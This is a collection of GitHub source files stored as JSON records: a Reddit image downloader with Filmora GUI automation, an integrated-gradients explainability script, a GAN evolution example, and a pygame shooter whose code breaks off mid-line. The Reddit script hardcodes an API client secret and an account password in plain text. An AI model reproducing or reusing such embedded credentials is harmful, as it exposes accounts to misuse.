img\n","repo_name":"920232796/MedicalSeg","sub_path":"medical_seg/pretrain/cutout.py","file_name":"cutout.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"48"} +{"seq_id":"34015043027","text":"# WAP to print a pattern\r\n\r\nnum = 1\r\nfor i in range(1, 4):\r\n for j in range(4, 0, -1):\r\n if j > i:\r\n print(\" \", end = \" \")\r\n else:\r\n print(num, end = \" \")\r\n num+=1\r\n print(\" \")\r\n","repo_name":"Manish-Sharma-048/Loops","sub_path":"assignment 3 (loops)/assignment 3 (6).py","file_name":"assignment 3 (6).py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27091948802","text":"#make checks for if post is the same, add that to csv as well as tally to keep track of what number video\n#make it so that multiple videos are made throughout the day, possibly pull from r/autos\n#feature to check for if post is image or not\n\n\nfrom email import header\nfrom tracemalloc import start\nimport requests\nimport json\nimport sys\nimport pandas as pd\nfrom pprint import pprint as pp\nfrom bs4 import BeautifulSoup \nimport urllib.request\nimport shutil\nimport re\nimport os\nimport glob\nfrom subprocess import Popen\nimport subprocess\nimport webbrowser\nimport pyautogui\nimport time\nimport pyperclip as clip\n\n\n\nCLIENT_ID = '4mCP6cVA6Tj91htrOS0c8A'\nSECRET_KEY = 'i2uy2-QAQOfDuNb2e7x1CNUGA'\n\n\nauth = requests.auth.HTTPBasicAuth(CLIENT_ID, SECRET_KEY)\n\ndata = {\n 'grant_type': 'password',\n 'username': 'testaccountxd',\n 'password': 'testaccpass'\n}\n\nheaders = {\"Content-Type\": \"application/x-www-form-urlencoded\",\n \"User-Agent\": \"idk dude\"}\n\nres = requests.post('https://www.reddit.com/api/v1/access_token',\n auth=auth, data=data, headers=headers)\n\nTOKEN = res.json()['access_token']\n\n\nheaders = {**headers, **{'Authorization': f'bearer {TOKEN}'}}\n\n#begin program\nurls = []\ntitles = []\ncarCompanies = [\"Abarth\",\"Alfa Romeo\",\"Aston Martin\",\"Audi\",\"Bentley\",\"BMW\",\"Bugatti\",\"Cadillac\",\"Chevrolet\",\"Chrysler\",\"Citroën\",\"Dacia\",\"Daewoo\",\"Daihatsu\",\"Dodge\",\"Donkervoort\",\"DS\",\"Ferrari\",\"Fiat\",\"Fisker\",\"Ford\",\"Honda\",\"Hummer\",\"Hyundai\",\"Infiniti\",\"Iveco\",\"Jaguar\",\"Jeep\",\"Kia\",\"KTM\",\"Lada\",\"Lamborghini\",\"Lancia\",\"Land Rover\",\"Landwind\",\"Lexus\",\"Lotus\",\"Maserati\",\"Maybach\",\"Mazda\",\"McLaren\",\"Mercedes-Benz\",\"MG\",\"Mini\",\"Mitsubishi\",\"Morgan\",\"Nissan\",\"Opel\",\"Peugeot\",\"Porsche\",\"Renault\",\"Rolls-Royce\",\"Rover\",\"Saab\",\"Seat\",\"Skoda\",\"Smart\",\"SsangYong\",\"Subaru\",\"Suzuki\",\"Tesla\",\"Toyota\",\"Volkswagen\",\"Volvo\"]\n\nimageAmount = 5\n\npayload = {'limit': imageAmount}\n\nres = requests.get('https://oauth.reddit.com/r/space/top/?t=day',\n headers=headers, params=payload)\n\nres = res.json()\n\n#getting links/info\nfor i in range(imageAmount):\n imageLink = res['data']['children'][i]['data']['preview']['images'][0]['source']['url']\n postEdit = re.sub(r'amp;',\"\" , imageLink)\n urls.append(postEdit)\n\n imageTitle = res['data']['children'][i]['data']['title']\n imageTitle = re.sub(r'\\[.*?\\]',\"\", imageTitle)\n imageTitle = re.sub(r'\\(.*?\\)',\"\", imageTitle)\n titles.append(imageTitle)\n\n#downloading images\nfor i in range(imageAmount):\n file_name = 'C:\\\\Users\\\\forry\\\\Desktop\\\\imageGrabber\\\\space\\\\space' + str(i) + '.jpg'\n res = requests.get(urls[i], stream = True)\n\n if res.status_code == 200:\n with open(file_name,'wb') as f:\n shutil.copyfileobj(res.raw, f)\n #print('Image sucessfully Downloaded: ',file_name)\n else:\n print('Image Couldn\\'t be retrieved')\n\n#writing titles to file\nwith open('C:\\\\Users\\\\forry\\\\Desktop\\\\imageGrabber\\\\cartitles.txt', 'w') as output:\n for row in titles:\n output.write(str(row) + '\\n')\n \n\n#check for car company name in title\nfor i in range(imageAmount):\n a_i = [i] #Stores the corresponding value of i in each a_i list.\n\n\ncarLenth = len(carCompanies)\nfor i in range(carLenth):\n with open('C:\\\\Users\\\\forry\\\\Desktop\\\\imageGrabber\\\\cartitles.txt') as f:\n if carCompanies[i] in f.read():\n #print(carCompanies[i])\n fillerVariable = 'yes'\n\ndef videoEditing(titles):\n j=0\n while j == 0:\n startImage = pyautogui.locateOnScreen('C:\\\\Users\\\\forry\\\\Pictures\\\\exportbutton.png', confidence=.8)\n if startImage:\n j = 1\n print('starting editing process')\n time.sleep(1)\n else:\n time.sleep(2)\n print('waiting for filmora to open')\n\n \n locations=[(475,891),(864,902),(1240,892),(1675,898),(2083,888)]\n i = 0\n while i < 5:\n result = len(titles[i].split())\n \n #move to select which to edit\n pyautogui.moveTo(locations[i])\n time.sleep(1)\n pyautogui.click(clicks=2)\n time.sleep(1)\n #move to change text\n pyautogui.moveTo(382,198)\n time.sleep(1)\n pyautogui.click()\n time.sleep(1)\n\n pyautogui.hotkey('ctrl', 'a')\n time.sleep(1)\n if result > 7:\n print('too many characters - skipping title')\n clip.copy(' ')\n else:\n clip.copy(titles[i])\n time.sleep(1)\n pyautogui.hotkey('ctrl', 'v')\n\n button = pyautogui.locateOnScreen('C:\\\\Users\\\\forry\\\\Pictures\\\\okbutton.png', confidence=.8)\n time.sleep(1)\n pyautogui.moveTo(button)\n time.sleep(1)\n pyautogui.click()\n time.sleep(1)\n\n i = i + 1\n \n pyautogui.moveTo(startImage)\n time.sleep(1)\n pyautogui.click()\n time.sleep(1)\n finalExport = pyautogui.locateOnScreen('C:\\\\Users\\\\forry\\\\Pictures\\\\finalexport.png', confidence=.8,region=(1516,902,1665,970))\n pyautogui.moveTo(finalExport)\n time.sleep(1)\n pyautogui.click()\n time.sleep(1)\n\n #wait for render to finish\n j=0\n while j == 0:\n close = pyautogui.locateOnScreen('C:\\\\Users\\\\forry\\\\Pictures\\\\closebutton.png', confidence=.8)\n if close:\n j = 1\n print('closing project')\n time.sleep(1)\n else:\n time.sleep(2)\n print('waiting for render to finish')\n pyautogui.moveTo(close)\n time.sleep(1)\n pyautogui.click()\n time.sleep(1)\n pyautogui.moveTo(2541,15)\n time.sleep(1)\n pyautogui.click()\n time.sleep(1)\n\n no = pyautogui.locateOnScreen('C:\\\\Users\\\\forry\\\\Pictures\\\\nobutton.png', confidence=.8)\n pyautogui.moveTo(no)\n time.sleep(1)\n pyautogui.click()\n time.sleep(1)\n print('video editing finished - video exported')\n\n\nPopen((r'C:\\Program Files\\Wondershare\\Wondershare Filmora\\Wondershare Filmora 11.exe',r'C:\\Program Files\\Wondershare\\Wondershare Filmora\\carvid.wfp'),creationflags=subprocess.CREATE_NEW_CONSOLE)\nvideoEditing(titles) \n######################need to split list up then search for keywords for each individual post\n","repo_name":"empaw1/projectsDemo","sub_path":"redditPython/redditImageGrab.py","file_name":"redditImageGrab.py","file_ext":"py","file_size_in_byte":6121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26548574118","text":"import os\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport torch\n\nfrom random import randint\nfrom captum.attr import IntegratedGradients\nfrom PIL import Image\nimport cv2\nfrom torchvision import transforms as T\n\nimport sys\nsys.path.append('../Xplainable_recommendersystems')\n\nfrom explanation_generation.test_opencv import simple_filter\nfrom dataset.amazon_dataset_utils import transform, imageHD_transform\n\ndef calculate_IG(model, image, baseline, user_in, product_in, image_transform=None, tmm_model=False, \n steps:int=200, device=None, transform_baseline=False, transform_in=True):\n if image_transform is None:\n if not tmm_model:\n image_transform = imageHD_transform\n elif tmm_model:\n image_transform = T.Compose([T.Resize(size=256, interpolation=T.InterpolationMode.BICUBIC, max_size=None, antialias=None), T.CenterCrop(size=(224, 224)), T.ToTensor(), T.Normalize(mean=torch.tensor([0.4850, 0.4560, 0.4060]), std=torch.tensor([0.2290, 0.2240, 0.2250]))])\n \n if device is None:\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n if transform_in:\n user_in = transform(user_in)\n product_in = transform(product_in)\n user_in = user_in.to(device)\n user_in = user_in.unsqueeze(0)\n product_in = product_in.to(device)\n product_in = product_in.unsqueeze(0)\n\n if transform_baseline:\n baseline = image_transform(baseline)\n baseline = baseline.to(device)\n baseline = baseline.unsqueeze(0)\n\n image = image_transform(image)\n image = image.unsqueeze(dim=0)\n image = image.to(device)\n image = image.requires_grad_(True)\n ig = IntegratedGradients(model)\n attributions = ig.attribute(image, baselines=baseline, additional_forward_args=(user_in, \n product_in), n_steps=steps, method='gausslegendre', internal_batch_size=32)\n \n return attributions\n\ndef get_IG_attributions(model, image, user_in, product_in, image_transform=None, tmm_model=False, \n device=None):\n white_base_img = Image.fromarray(np.ones([224,224,3], dtype=np.uint8))\n black_base_img = Image.fromarray(np.zeros([224,224,3], dtype=np.uint8))\n\n base_tensors = []\n to_image = T.ToPILImage()\n for i in range(15):\n base_tensors.append(to_image(torch.load(f'IG_base_tensor/base_tensor_{i}.pt').squeeze().to(device)))\n \n attributions = []\n attributions.append(calculate_IG(model, image, white_base_img, user_in, product_in, image_transform=image_transform, \n tmm_model=tmm_model, device=device, transform_baseline=True))\n attributions.append(calculate_IG(model, image, black_base_img, user_in, product_in, image_transform=image_transform, \n tmm_model=tmm_model, device=device, transform_baseline=True))\n\n for base_tensor in base_tensors:\n attributions.append(calculate_IG(model, image, base_tensor, user_in, product_in, image_transform=image_transform, \n tmm_model=tmm_model, device=device, transform_baseline=True))\n return attributions\n\n\ndef main():\n device = 'cuda' if torch.cuda.is_available() else 'cpu'\n\n df = pd.read_csv('/mnt/ds3lab-scratch/ywattenberg/data/compact_CSJ_imgHD.csv')\n train_data = df[df['rank_latest'] != 1]\n test_data = df[df['rank_latest'] == 1]\n num_users = df['reviewerID'].nunique()\n num_items = df['asin'].nunique()\n\n #train_data = pd.read_csv('/mnt/ds3lab-scratch/ywattenberg/data/compact_CSJ_imgHD_subset_train.csv') \n\n model = torch.load('/home/ywattenberg/Xplainable_recommendersystems/tmp_entire_model_imp.pth').to(device)\n model = model.module\n print(model)\n\n #test_data = pd.read_csv('/mnt/ds3lab-scratch/ywattenberg/data/compact_CSJ_imgHD_subset_test.csv')\n image_transform = T.Compose([T.Resize(size=256, interpolation=T.InterpolationMode.BICUBIC, max_size=None, antialias=None), T.CenterCrop(size=(224, 224)), T.ToTensor(), T.Normalize(mean=torch.tensor([0.4850, 0.4560, 0.4060]), std=torch.tensor([0.2290, 0.2240, 0.2250]))])\n length = len(test_data)\n \n\n for i in range(20):\n while True:\n index = randint(0, length)\n user_input = test_data.iloc[index].userID\n product_input = test_data.iloc[index].productID\n img_input = Image.open(os.path.join('/mnt/ds3lab-scratch/ywattenberg/data/imagesHD/', \n f'{test_data.iloc[index].asin}.jpg'))\n tmp_img = cv2.imread(os.path.join('/mnt/ds3lab-scratch/ywattenberg/data/imagesHD/', \n f'{test_data.iloc[index].asin}.jpg'))\n rating = test_data.iloc[index].overall\n if rating > 3 and len(df[df['userID'] == user_input]) > 10 and not simple_filter(tmp_img):\n break\n attributions = get_IG_attributions(model, img_input, user_input, product_input, device=device, tmm_model=True)\n \n prediction = model(image_transform(img_input).unsqueeze(0).to('cuda'), transform(user_input).unsqueeze(0).to('cuda'), transform(product_input).unsqueeze(0).to('cuda'))\n fig = plot_attributions(image_transform(img_input), attributions, user_input, rating, prediction.item() , f'Plot {i}')\n fig.savefig(f'IG/{i}.png')\n plt.close(fig)\n print('done with IG')\n\n\ndef aggregate_attributions(attribution_mask_w, attribution_mask_b, attribution_mask_rand):\n attribution_mask_b = attribution_mask_b.squeeze().cpu().detach().abs().sum(dim=0).numpy()\n attribution_mask_w = attribution_mask_w.squeeze().cpu().detach().abs().sum(dim=0).numpy()\n attribution_mask_rand = attribution_mask_rand.squeeze().cpu().detach().abs().sum(dim=0).numpy()\n\n agg_b = np.zeros(attribution_mask_b.shape, dtype=np.float32)\n agg_w = np.zeros(attribution_mask_w.shape, dtype=np.float32)\n agg_rand = np.zeros(attribution_mask_rand.shape, dtype=np.float32)\n\n side_length = 28\n num_of_quads = int(attribution_mask_b.shape[0]/side_length)\n\n for x in range(num_of_quads):\n for y in range(num_of_quads):\n tmp = np.sum(attribution_mask_b[x*side_length: x*side_length + side_length, y*side_length: y*side_length + side_length])\n agg_b[x*side_length: x*side_length + side_length, y*side_length: y*side_length + side_length] = tmp\n\n\n for x in range(num_of_quads):\n for y in range(num_of_quads):\n tmp = np.sum(attribution_mask_w[x*side_length: x*side_length + side_length, y*side_length: y*side_length + side_length])\n agg_w[x*side_length: x*side_length + side_length, y*side_length: y*side_length + side_length] = tmp\n\n\n for x in range(num_of_quads):\n for y in range(num_of_quads):\n tmp = np.sum(attribution_mask_rand[x*side_length: x*side_length + side_length, y*side_length: y*side_length + side_length])\n agg_rand[x*side_length: x*side_length + side_length, y*side_length: y*side_length + side_length] = tmp\n \n return agg_b, agg_w, agg_rand\n\n\ndef plot_attributions(image, attributions, user_input, rating, prediction,suptitle, alpha=0.3):\n image = image.squeeze().cpu().detach()\n\n attribution_mask_w, attribution_mask_b, attribution_mask_rand = aggregate_attributions(attributions[0], attributions[1], torch.mean(torch.stack(attributions[2:]), dim=0))\n \n fig = plt.figure(figsize=(10,15))\n\n fig.add_subplot(4, 2, 1)\n plt.imshow(np.zeros([500,500]))\n plt.title(f'User {user_input}, rated: {rating}, {prediction}')\n \n fig.add_subplot(4, 2, 2)\n plt.imshow(image.permute(1, 2, 0))\n plt.title('Image')\n\n fig.add_subplot(4, 2, 3)\n plt.imshow(attribution_mask_b)\n plt.title('Attribution Mask (Black)')\n\n fig.add_subplot(4, 2, 4)\n plt.imshow(attribution_mask_b)\n plt.imshow(image.permute(1, 2, 0), alpha=alpha)\n plt.title('Overlay (Black)')\n\n fig.add_subplot(4, 2, 5)\n plt.imshow(attribution_mask_w)\n plt.title('Attribution Mask (White)')\n\n fig.add_subplot(4, 2, 6)\n plt.imshow(attribution_mask_w)\n plt.imshow(image.permute(1, 2, 0), alpha=alpha)\n plt.title('Overlay (White)')\n\n fig.add_subplot(4, 2, 7)\n plt.imshow(attribution_mask_rand)\n plt.title('Attribution Mask (Random)')\n\n fig.add_subplot(4, 2, 8)\n plt.imshow(attribution_mask_rand)\n plt.imshow(image.permute(1, 2, 0), alpha=alpha)\n plt.title('Overlay (Random)')\n plt.tight_layout()\n\n fig.suptitle(suptitle)\n return fig\n\ndef attributions_w_b_r(attributions):\n attribution_mask_b = attributions[0].squeeze().cpu().detach().abs().sum(dim=0).numpy()\n attribution_mask_w = attributions[1].squeeze().cpu().detach().abs().sum(dim=0).numpy()\n attribution_mask_rand = torch.mean(torch.stack(attributions[2:]), dim=0).squeeze().cpu().detach().abs().sum(dim=0).numpy()\n return attribution_mask_w, attribution_mask_b, attribution_mask_rand\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"ywattenberg/Xplainable_recommendersystems","sub_path":"explanation_generation/integrated_gradients.py","file_name":"integrated_gradients.py","file_ext":"py","file_size_in_byte":9041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11777367236","text":"\"\"\"\nThis is a use case of EvoFlow\n\nAnother example of a multinetwork model, a GAN. In order to give an automatic fitness fuction to each GAN, we use the Inception Score (IS, https://arxiv.org/pdf/1606.03498.pdf)\nWe use the MobileNet model instead of Inception because it gave better accuracy scores when training it.\n\"\"\"\nfrom data import load_fashion\nimport tensorflow as tf\nimport numpy as np\nfrom keras.models import model_from_json\nfrom evolution import Evolving, batch\nfrom Network import MLPDescriptor\nfrom PIL import Image\n\n\ndef gan_train(nets, placeholders, sess, graph, train_inputs, _, batch_size, __):\n aux_ind = 0\n predictions = {}\n\n with graph.as_default():\n # We define the special GAN structure\n out = nets[\"n1\"].building(placeholders[\"in\"][\"i1\"], graph, _)\n predictions[\"gen\"] = out\n out = nets[\"n0\"].building(tf.layers.flatten(placeholders[\"in\"][\"i0\"]), graph, _)\n predictions[\"realDisc\"] = out\n out = nets[\"n0\"].building(predictions[\"gen\"], graph, _)\n predictions[\"fakeDisc\"] = out\n\n # Loss function and optimizer\n d_loss = -tf.reduce_mean(predictions[\"realDisc\"]) + tf.reduce_mean(predictions[\"fakeDisc\"])\n g_loss = -tf.reduce_mean(predictions[\"fakeDisc\"])\n\n g_solver = tf.train.AdamOptimizer(learning_rate=0.01).minimize(g_loss, var_list=[nets[\"n1\"].List_weights, nets[\"n1\"].List_bias])\n d_solver = tf.train.AdamOptimizer(learning_rate=0.01).minimize(d_loss, var_list=[nets[\"n0\"].List_weights, nets[\"n0\"].List_bias])\n sess.run(tf.global_variables_initializer())\n\n for it in range(10): # Train the model\n z_mb = np.random.normal(size=(150, 10))\n\n x_mb = batch(train_inputs[\"i0\"], batch_size, aux_ind)\n aux_ind = (aux_ind + batch_size) % train_inputs[\"i0\"].shape[0]\n\n _ = sess.run([d_solver], feed_dict={placeholders[\"in\"][\"i0\"]: x_mb, placeholders[\"in\"][\"i1\"]: z_mb})\n _ = sess.run([g_solver], feed_dict={placeholders[\"in\"][\"i1\"]: z_mb})\n return predictions\n\n\ndef load_model(model_name=\"Mobile\"): # We load the model once at the beginning of the process\n\n model_paths = {\"Mobile\": \"Mobile-99-94/\", \"Inception\": \"Inception-95-91/\"}\n json_file = open(model_paths[model_name] + 'model.json', 'r')\n g_1 = tf.Graph() # In a different graph, because the ones containing the individuals are constantly reinitialized\n with g_1.as_default():\n class_model = model_from_json(json_file.read())\n class_model.load_weights(model_paths[model_name] + \"model.h5\")\n class_model.compile(loss='binary_crossentropy', optimizer='rmsprop', metrics=['accuracy'])\n json_file.close()\n return g_1, class_model # return graph and model\n\n\ndef gan_eval(preds, placeholders, sess, graph, _, __, ___):\n\n height, width = 90, 90\n with graph.as_default():\n samples = sess.run(preds[\"gen\"], feed_dict={placeholders[\"i1\"]: np.random.normal(size=(150, 10))}) # We generate data\n\n # Make it usable for MoblieNet\n samples = np.reshape(samples, (-1, 28, 28, 1))\n images = np.array([np.array(Image.fromarray(x).resize((width, height))) for x in np.reshape(samples, (-1, 28, 28))])/255.\n images = np.reshape(images, (-1, width, height, 1))\n images = np.concatenate([images, images, images], axis=3)\n # Compute the IS\n with mobile_graph.as_default():\n predictions = model.predict(images)\n preds = np.argmax(predictions, axis=1)\n aux_preds = np.zeros(10)\n unique, counts = np.unique(preds, return_counts=True)\n for number, appearances in zip(unique, counts):\n aux_preds[number] = appearances\n aux_preds = aux_preds/predictions.shape[0]\n predictions = np.sort(predictions, axis=1)\n predictions = np.mean(predictions, axis=0)\n\n return -np.sum([aux_preds[w] * np.log(aux_preds[w] / predictions[w]) if aux_preds[w] > 0 else 0 for w in range(predictions.shape[0])]),\n\n\nif __name__ == \"__main__\":\n\n mobile_graph, model = load_model() # The model and its graph are used as global variables\n\n x_train, _, x_test, _ = load_fashion()\n # The GAN evolutive process is a common 2-DNN evolution\n e = Evolving(loss=gan_train, desc_list=[MLPDescriptor, MLPDescriptor], x_trains=[x_train], y_trains=[x_train], x_tests=[x_test], y_tests=[x_test], evaluation=gan_eval, batch_size=150, population=10, generations=10, n_inputs=[[28, 28], [10]], n_outputs=[[1], [784]], cxp=0.5, mtp=0.5)\n res = e.evolve()\n\n print(res[0])\n","repo_name":"unaigarciarena/EvoFlow","sub_path":"GAN.py","file_name":"GAN.py","file_ext":"py","file_size_in_byte":4476,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"5117201694","text":"import math\nimport random\n\nimport pygame as pg\nimport utils\nimport sprites\nfrom rankchart import Table\n\n\nclass StartPage:\n def __init__(self, screen):\n self.start_button = sprites.Button(utils.WIDTH // 2, utils.HEIGHT // 2 + 50, 100, 50, text=\"Start\",\n event=utils.START_EVENT)\n self.wp1_button = sprites.Button(utils.WIDTH // 2 - 50, utils.HEIGHT // 2 + 150, 50, 50, image=\"ply01.png\",\n event=lambda: self.select_weapon(utils.BLT_AMMO), once=False, border=True)\n self.wp2_button = sprites.Button(utils.WIDTH // 2 + 50, utils.HEIGHT // 2 + 150, 50, 50, image=\"ply02.png\",\n event=lambda: self.select_weapon(utils.BLT_BLADE), once=False, border=True)\n self.select_weapon(utils.BLT_AMMO)\n self.logo = pg.transform.scale(utils.load_asset(\"logo.png\"), (420, 180))\n self.screen = screen\n\n def select_weapon(self, type):\n global player\n if type == utils.BLT_BLADE:\n player = sprites.Player(image=\"ply02.png\",\n shoot_speed=1,\n bullet_type=sprites.BulletType(damage=1.5, speed=-2, kind=utils.BLT_BLADE, width=50,\n height=10,\n image=\"blt_b_01.png\", range=100))\n self.wp1_button.selected = False\n self.wp2_button.selected = True\n self.wp2_button.draw(screen)\n self.wp1_button.draw(screen)\n elif type == utils.BLT_AMMO:\n player = sprites.Player(image=\"ply01.png\",\n shoot_speed=2,\n bullet_type=sprites.BulletType(damage=1, speed=-2, kind=utils.BLT_AMMO, width=10,\n height=20,\n image=\"blt_a_01.png\"))\n self.wp2_button.selected = False\n self.wp1_button.selected = True\n self.wp2_button.draw(screen)\n self.wp1_button.draw(screen)\n\n def draw(self):\n self.screen.blit(background, (0, 0))\n dim_surface = pg.Surface((utils.WIDTH, utils.HEIGHT), pg.SRCALPHA)\n dim_surface.fill((0, 0, 0, 128))\n self.screen.blit(dim_surface, (0, 0))\n self.screen.blit(self.logo, ((utils.WIDTH - self.logo.get_rect().width) // 2, 100))\n if len(player_name) == 0:\n text = pg.font.Font(None, 36).render(\"Please input your name\", True, (255, 255, 255))\n else:\n text = pg.font.Font(None, 36).render(player_name, True, (255, 255, 255))\n self.screen.blit(text, ((utils.WIDTH - text.get_rect().width) // 2, utils.HEIGHT // 2 - 50))\n all_sprites.add(self.start_button)\n all_buttons.add(self.start_button)\n all_sprites.add(self.wp1_button)\n all_buttons.add(self.wp1_button)\n all_sprites.add(self.wp2_button)\n all_buttons.add(self.wp2_button)\n self.start_button.draw(screen)\n self.wp1_button.draw(screen)\n self.wp2_button.draw(screen)\n\n def clear(self):\n self.start_button.kill()\n self.wp1_button.kill()\n self.wp2_button.kill()\n pass\n\n\nclass PauseMenu:\n def __init__(self, screen):\n self.resume_button = sprites.Button(utils.WIDTH // 2, utils.HEIGHT // 2 + 50, 100, 50, text=\"Resume\",\n event=utils.RESUME_EVENT)\n self.screen = screen\n\n def draw(self):\n dim_surface = pg.Surface((utils.WIDTH, utils.HEIGHT), pg.SRCALPHA)\n dim_surface.fill((0, 0, 0, 128))\n self.screen.blit(dim_surface, (0, 0))\n all_sprites.add(self.resume_button)\n all_buttons.add(self.resume_button)\n self.resume_button.draw(screen)\n\n def clear(self):\n self.resume_button.kill()\n\n\nclass EndPage:\n def __init__(self, screen):\n self.button = sprites.Button(utils.WIDTH // 2, utils.HEIGHT // 2 + 200, 250, 50,\n text=\"Back to main menu\", event=utils.RESTART_EVENT)\n self.screen = screen\n self.rankchart = Table(screen)\n\n def draw(self, t=\"Game Over\"):\n dim_surface = pg.Surface((utils.WIDTH, utils.HEIGHT), pg.SRCALPHA)\n dim_surface.fill((0, 0, 0, 128))\n self.screen.blit(dim_surface, (0, 0))\n text = pg.font.Font(None, 40).render(t, True, (255, 0, 0))\n screen.blit(text, ((utils.WIDTH - text.get_rect().width) // 2, utils.HEIGHT // 2 + 100))\n all_sprites.add(self.button)\n all_buttons.add(self.button)\n self.button.draw(screen)\n self.rankchart.update(player_name, score)\n self.rankchart.draw()\n\n def clear(self):\n self.button.kill()\n\n\ndef reset_game():\n global game_state, player, boss, ticker, score\n all_sprites.empty()\n all_bullets.empty()\n all_enemies.empty()\n all_buffs.empty()\n all_players.empty()\n all_buttons.empty()\n boss = None\n ticker = 0\n score = 0\n game_state = utils.START\n start_page.select_weapon(utils.BLT_AMMO)\n pg.time.set_timer(utils.SPAWN_EVENT, utils.SPAWN_TIME)\n start_page.draw()\n bg_music.play(-1)\n\n\ndef generate_buff(weapon_kind, img=\"buff01.png\"):\n b_type = None\n r = random.randint(0, 1)\n if weapon_kind == utils.BLT_AMMO:\n b_type = sprites.BuffType(bullet_cnt=random.randrange(0, 2), shoot_speed=random.randrange(0, 3),\n bullet_dmg=random.uniform(1, 1.04))\n elif weapon_kind == utils.BLT_BLADE:\n b_type = sprites.BuffType(bullet_size=random.uniform(1.02, 1.05), bullet_range=random.randrange(0, 5))\n b_type.image = img\n return b_type\n\n\nFPS = 60\npg.init()\npg.mixer.init()\n\nscreen = pg.display.set_mode((utils.WIDTH, utils.HEIGHT), pg.SCALED)\npg.display.set_caption(\"MH Rogue: Sky Battlefield\")\npg.display.set_icon(utils.load_asset(\"logo.png\"))\npg.mouse.set_visible(True)\n\nbackground = utils.load_asset(\"background.png\")\nbackground = pg.transform.scale(background, (utils.WIDTH, utils.HEIGHT))\nscreen.blit(background, (0, 0))\npg.display.flip()\nclock = pg.time.Clock()\nbg_music = utils.load_music(\"music/background.mp3\")\nbg_music.set_volume(1) # set playback volume (0,1)\nbg_music.play(-1)\n# -----------------all things have to be reset when restart game-----------------\nplayer = None\nall_sprites = pg.sprite.Group()\nall_bullets = pg.sprite.Group()\nall_enemies = pg.sprite.Group()\nall_buffs = pg.sprite.Group()\nall_players = pg.sprite.Group()\nall_buttons = pg.sprite.Group()\nboss = None\nticker = 0\nscore = 0\n\nplayer_name = \"\"\npg.time.set_timer(utils.SPAWN_EVENT, utils.SPAWN_TIME)\npg.time.set_timer(utils.BUFF_EVENT, utils.BUFF_TIME)\nstart_page = StartPage(screen)\nstart_page.draw()\npause_menu = PauseMenu(screen) # Create the pause menu\nend_page = EndPage(screen)\ngame_state = utils.START\n\nwhile game_state != utils.QUIT:\n duration = clock.tick(FPS)\n for event in pg.event.get():\n if event.type == pg.QUIT:\n game_state = utils.QUIT\n elif event.type == utils.START_EVENT:\n start_page.clear()\n game_state = utils.RUNNING\n all_players.add(player)\n all_sprites.add(player)\n elif event.type == utils.BUFF_EVENT and game_state == utils.RUNNING:\n buff = sprites.Buff(\n random.randrange(sprites.BuffType().width // 2, utils.WIDTH - sprites.BuffType().width // 2), 0,\n generate_buff(player.bullet_type.kind, img=\"buff02.png\"))\n all_sprites.add(buff)\n all_buffs.add(buff)\n elif event.type == utils.FIRE_EVENT and game_state == utils.RUNNING:\n bullets = player.shoot()\n all_sprites.add(bullets)\n all_bullets.add(bullets)\n elif event.type == utils.SPAWN_EVENT and game_state == utils.RUNNING:\n if not boss:\n hp = random.uniform(0, 1) * (math.e ** (ticker // 4900)) + 1\n icon = f\"enm{random.randrange(1, 6)}.png\"\n enemy = sprites.Enemy(\n random.randrange(sprites.EnemyType().width // 2, utils.WIDTH - sprites.EnemyType().width // 2), 0,\n sprites.EnemyType(health=hp, image=icon), buff_type=generate_buff(player.bullet_type.kind))\n else:\n enemy_type = sprites.EnemyType(image=\"boss_summon01.png\", health=500, width=50, height=70)\n random_x_speed = random.randint(-(utils.FALL_SPEED - 1), utils.FALL_SPEED - 1)\n random_y_speed = utils.FALL_SPEED - abs(random_x_speed)\n enemy = sprites.Enemy(\n boss.rect.centerx, boss.rect.centery,\n enemy_type, speed=(random_x_speed, random_y_speed), bounce=True)\n utils.load_music(\"music/fireball.mp3\").play()\n all_sprites.add(enemy)\n all_enemies.add(enemy)\n elif event.type == pg.MOUSEBUTTONDOWN and event.button == 1:\n for btn in all_buttons:\n btn.is_clicked(event.pos)\n elif event.type == utils.PAUSE_EVENT:\n game_state = utils.PAUSE\n pause_menu.draw()\n elif event.type == utils.RESUME_EVENT:\n game_state = utils.RUNNING\n pause_menu.clear()\n elif event.type == utils.RESTART_EVENT:\n print(\"restart\")\n reset_game()\n elif event.type == utils.END_EVENT:\n game_state = utils.END\n utils.load_music(\"music/gameover.mp3\").play()\n bg_music.stop()\n end_page.draw()\n elif event.type == utils.WIN_EVENT:\n game_state = utils.END\n utils.load_music(\"music/success.mp3\").play()\n bg_music.stop()\n end_page.draw(\"You Win!\")\n\n elif event.type == pg.KEYDOWN:\n if event.key == pg.K_ESCAPE:\n if game_state == utils.RUNNING:\n pg.event.post(pg.event.Event(utils.PAUSE_EVENT))\n elif game_state == utils.PAUSE:\n pg.event.post(pg.event.Event(utils.RESUME_EVENT))\n else:\n if game_state == utils.START: # input player name\n if event.key == pg.K_BACKSPACE:\n player_name = player_name[:-1]\n elif (event.unicode.isalpha() or event.unicode.isdigit()) and len(\n player_name) < utils.NAME_MAX_LENGTH:\n player_name += event.unicode\n start_page.draw()\n\n if game_state == utils.PAUSE:\n # if pause_menu:\n # # Handle pause events and potentially change the game state.\n # new_game_state = pause_menu.handle_events(pg.event.get())\n # if new_game_state == utils.RESUME_EVENT:\n # game_state = utils.RUNNING\n\n pass\n elif game_state == utils.IDLE:\n pass\n elif game_state == utils.END: # end --> start\n pass\n elif game_state == utils.RUNNING:\n if ticker >= utils.BOSS_TIME and not boss:\n boss = sprites.Enemy(utils.WIDTH // 2, 0,\n sprites.EnemyType(image=\"boss01.png\", health=20000, width=200, height=200, boss=True))\n all_enemies.add(boss)\n all_sprites.add(boss)\n pg.time.set_timer(utils.SPAWN_EVENT, utils.SUMMON_SPAWN_TIME)\n ticker += duration\n # update position of all_sprites, make sure do calculations after this line\n all_sprites.update()\n # calculate player&enemies hits\n player_hits = pg.sprite.groupcollide(all_enemies, all_players, False, False, collided=pg.sprite.collide_mask)\n if 